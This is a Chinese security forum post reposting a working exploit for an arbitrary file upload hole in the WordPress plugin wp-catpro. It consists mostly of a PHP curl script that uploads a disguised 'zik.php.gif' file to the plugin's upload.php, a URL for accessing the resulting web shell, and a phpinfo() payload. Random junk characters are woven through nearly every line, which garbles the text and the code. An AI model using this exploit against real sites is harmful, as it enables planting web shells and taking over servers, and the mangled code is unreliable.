找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2079|回复: 0
打印 上一主题 下一主题

WordPress插件wp-catpro任意文件上传

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-27 20:12:43 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
% c" q3 g, N" F/ R. X' D8 I- G/ P3 b#-----------------------------------------------------------------------
! ?; U  U( H# I- F+ d) h4 L% Z ) c3 c( j$ ^' J1 i" z- @6 g3 }4 `
作者  => Zikou-162 o& b( T3 k# {
邮箱 => zikou16x@gmail.com( Q2 L! @. H* @; H) Z
测试系统 : Windows 7 , Backtrack 5r3
  [" F6 I5 v1 k下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
/ X, g% b: ^  |####3 P' a! L' S2 }6 U9 \+ v" J" p

+ V* d3 Q) E8 _' U# v#=> Exploit 信息:
- u) m; p4 s! X------------------
3 h. ^, t$ w. S1 l' G5 p# 攻击者可以上传 file/shell.php.gif; S" N2 `! H* s+ ]  Z3 M  J
# ("jpg", "gif", "png")  // Allowed file extensions
; B9 k" Y  w# L+ @# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
! ^2 Y; {$ }$ g5 q3 J2 F' Q# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format), P) B' M8 [1 x& P* D1 V
------------------2 h. W% m  h: G+ g& {
, {- N( l% d1 N9 X
#=> Exploit4 r: u3 r  {9 c9 G
-----------# T; h1 p1 b1 B* ^! P2 n1 K& T
<?php0 w! x' N9 J8 o
2 V; t$ `, c/ Q- ?6 x
$uploadfile="zik.php.gif";
1 z, J* `/ K3 M# U- }( t$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");$ ~& n  E  c3 O5 @2 w7 N
curl_setopt($ch, CURLOPT_POST, true);4 a5 C/ ~7 a% w. A% V  B
curl_setopt($ch, CURLOPT_POSTFIELDS,
. y( ?7 M( I7 \, Parray('Filedata'=>"@$uploadfile",
% N/ d" [, ?# o+ a/ q) t'folder'=>'/wp-content/uploads/catpro/'));6 O1 Z8 }/ s" h  P. ]* c1 t. i# R
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
# H( T) m( R  M6 c6 h+ `7 @5 R  ^$postResult = curl_exec($ch);
8 {) n% [. f1 s" {& acurl_close($ch);9 ^. n+ {5 U2 o7 S3 E+ `( x9 x

+ B/ X- N: I, ~; U" W# a2 C% uprint "$postResult";- |+ c, [; U1 J0 w! \2 J
& ~' I3 i7 b( d- \3 I
Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif1 W+ g/ n7 g9 |$ |$ H
  ?>
; r9 w9 }( k, A+ ]7 l<?php8 t0 t( E% T, S/ Z
phpinfo();
7 o% ]% t; B. c0 G# R; Y?>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表